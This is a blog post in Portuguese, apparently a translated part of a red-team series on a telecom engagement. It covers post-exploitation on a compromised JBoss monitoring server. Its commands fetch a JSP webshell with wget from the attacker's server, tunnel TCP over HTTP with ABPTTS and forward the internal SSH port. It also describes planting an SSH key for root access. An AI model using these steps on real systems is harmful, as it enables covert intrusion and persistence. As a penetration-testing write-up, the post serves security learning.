TLDR; Red Team Engagement para uma empresa de telecomunicações. Conseguiu um ponto de apoio no Sistema de Monitoramento de Rede (NMS) da empresa. Problema de shell reverso classificado com tunelamento SSH sobre HTTP. Tornou-se totalmente Ninja ao obter SSH sobre HTTP. Proxy dentro da rede para obter a varredura de rede interna. Obteve acesso a CDRs e VLR com aplicativo SS7.

Recapitulação: Red Team Engagement para uma empresa de telecomunicações. Encontrou um subdomínio interessante, fez uma varredura de porta completa nesse subdomínio, encontrou a porta 12000/tcp, 14000/tcp e 14100/tcp encontrou uma instância em execução do JBoss (sorte minha!), explorou o JBoss para RCE, agora obtendo problemas com o reverso concha.

Para obter informações detalhadas, você pode conferir os seguintes links:
Parte 1 — Obtendo o RCE Parte 3 — Brincando com túneis: SSH furtivo e túneis SSH dinâmicos Parte 4 — Obtendo acesso a CDRs, aplicativos SS7 e VLRs

Agora que quando tentei obter um shell reverso estável, falhei. A outra ideia que me veio à mente foi obter um shell de ligação (obter SSH sobre HTTP para fins de estabilidade) em vez de reverter sobre HTTP (túnel TCP sobre HTTP). Mas o que exatamente estou conseguindo aqui?

Túnel TCP sobre HTTP (para fins de estabilidade do TCP + Conexão Stealthy SSH (criada sobre o Túnel TCP) + Túnel SOCKS (Túnel SSH Dinâmico) para varredura de rede interna usando Metasploit = ​​Explorando serviço de rede interna para exfil dados por meio desses túneis recursivos.

Parece muito complexo? Vamos dividi-lo em várias etapas:

1. Primeiro, criei uma ponte entre meu servidor e o servidor NMS para que ele suporte a comunicação para diferentes protocolos além de apenas HTTP/HTTPS (>L2 por enquanto) [ TCP Tunnel over HTTP ]
2. Uma vez que a ponte ( TCP Tunnel over HTTP ) foi criada, configurei e implementei o SSH Port Forwarding do meu servidor ( 2222/tcp ) para o servidor NMS ( 22/tcp ) para que eu pudesse me conectar ao servidor NMS via SSH sobre HTTP. (SSH sobre TCP sobre HTTP para ser preciso) Observação: o serviço SSH no servidor NMS estava sendo executado em 127.0.0.1
3. Em seguida, configurei o servidor NMS SSH para permitir o login root e gerar a chave privada SSH (copiar minha chave pública para o arquivo author_hosts) para acesso ao servidor NMS via SSH.
4. Verifiquei a conexão SSH com o NMS usando a chave privada e, quando funcionou, criei um túnel SSH dinâmico (SOCKS) para proxificar Metasploit sobre SSH Tunnel (Metasploit sobre SSH Tunnel sobre TCP Tunnel sobre HTTP para ser mais preciso).

Tunelamento 101

Um protocolo de tunelamento é um protocolo de comunicação que permite a movimentação de dados de uma rede para outra. Envolve permitir que comunicações de rede privada sejam enviadas através de uma rede pública (como a Internet ) por meio de um processo chamado encapsulamento . Como o tunelamento envolve o reempacotamento dos dados de tráfego em uma forma diferente, talvez com criptografia como padrão, ele pode ocultar a natureza do tráfego que é executado através de um túnel.

O protocolo de encapsulamento funciona usando a parte de dados de um pacote (a carga útil ) para transportar os pacotes que realmente fornecem o serviço. O tunelamento usa um modelo de protocolo em camadas, como os do conjunto de protocolos OSI ou TCP/IP , mas geralmente viola as camadas ao usar a carga útil para transportar um serviço normalmente não fornecido pela rede. Normalmente, o protocolo de entrega opera em um nível igual ou superior no modelo em camadas do que o protocolo de carga útil.

Fonte: Wikipédia

Então basicamente a ideia é usar o servidor web como um proxy intermediário para encaminhar todos os pacotes de rede (pacotes TCP) do servidor web para a rede interna.

O tunelamento TCP pode ajudá-lo em situações em que você restringiu o acesso à porta e filtrou o tráfego de saída . No meu caso, não havia muita filtragem, no entanto, usei essa técnica para obter acesso estável ao shell.

Agora que já tinha um RCE no servidor e também com o privilégio “root”. Eu rapidamente aproveitei esta oportunidade para criar um shell baseado em JSP usando ABPTTS

Um Caminho Negro em Direção ao Sol (ABPTTS)

Conforme explicado no repositório do GitHub,

O ABPTTS usa um script de cliente Python e uma página/pacote do servidor de aplicativos da web para encapsular o tráfego TCP em uma conexão HTTP/HTTPS para um servidor de aplicativos da web.

Atualmente, apenas componentes do lado do servidor JSP/WAR e ASP.NET são suportados por esta ferramenta.

Portanto, a ideia era criar um shell baseado em JSP usando ABPTTS e carregá-lo no servidor da Web, deixar a ferramenta se conectar ao shell JSP e criar um túnel TCP sobre HTTP para criar um shell seguro (SSH) entre meu sistema e o servidor .

python abpttsfactory.py -o jexws4.jsp

Quando o shell foi gerado usando ABPTTS, a ferramenta criou um arquivo de configuração a ser usado para criar o túnel TCP sobre HTTP/HTTPS.

Em seguida, carreguei o shell JSP no servidor usando wget. Nota: O shell jexws4.war é um pacote para Jexboss. Quando você explora a vulnerabilidade do JBoss via Jexboss, a ferramenta carrega seu próprio shell WAR no servidor. No meu caso, apenas tentei encontrar este shell WAR/JSP (jexws4.jsp) e substituí-lo pelo shell ABPTTS

wget http://[MEU SERVIDOR]/jexws4.jsp -O <localização do shell jexws4.jsp no servidor NMS>

Depois que o shell ABPTTS foi carregado no servidor, confirmei rapidamente no Jexboss executando um comando aleatório para ver a saída. Por que? Agora que o shell Jexboss foi substituído pelo shell ABPTTS, não importa qual comando eu executei, a saída sempre foi o hash impresso devido ao shell ABPTTS.

Como você pode ver na captura de tela acima, quando executei o comando “id”, recebi um hash estranho em retorno que prova que o shell ABPTTS foi carregado com sucesso!

Agora que eu tinha um túnel TCP sobre HTTP configurado, a próxima coisa que eu queria fazer era encapsular a porta SSH em execução no servidor ( 22/tcp no NMS ) e vincular a porta ao meu sistema ( 2222/tcp ). Por que? para que eu pudesse me conectar ao NMS via SSH. Você notou o que eu estava tentando fazer aqui?

Apesar de ainda não ter configurado a parte SSH no NMS e no meu próprio servidor para o SSH Tunnel. Por enquanto, apenas preparei o mecanismo de encaminhamento de porta para que eu pudesse acessar a porta local 22/tcp no NMS do meu servidor usando a porta 2222/tcp

python abpttsclient.py -c <localização do arquivo de configuração> -u <URL do shell ABPTTS> -f 127.0.0.1:2222/127.0.0.1:22

Eu verifiquei minha tabela de conexões para verificar se a porta está devidamente encaminhada ou não. Como você pode ver na captura de tela abaixo, a porta 2222/tcp do meu servidor estava no estado LISTEN.

A próxima coisa a fazer agora é configurar o servidor SSH para se conectar ao NMS e iniciar um túnel SSH dinâmico (SOCKS). Falo disso no próximo post :

Parte 3- Brincando com túneis: SSH furtivo e túneis dinâmicos

Hora da Promoção!

Se vocês quiserem aprender mais sobre as técnicas que usei e os conceitos básicos por trás delas, podem ler meus livros (em coautoria com @himanshu_hax )

Táticas práticas da equipe vermelha — Amazon , PacktPub

Teste prático de penetração de aplicativos da Web com Metasploit — Amazon , PacktPub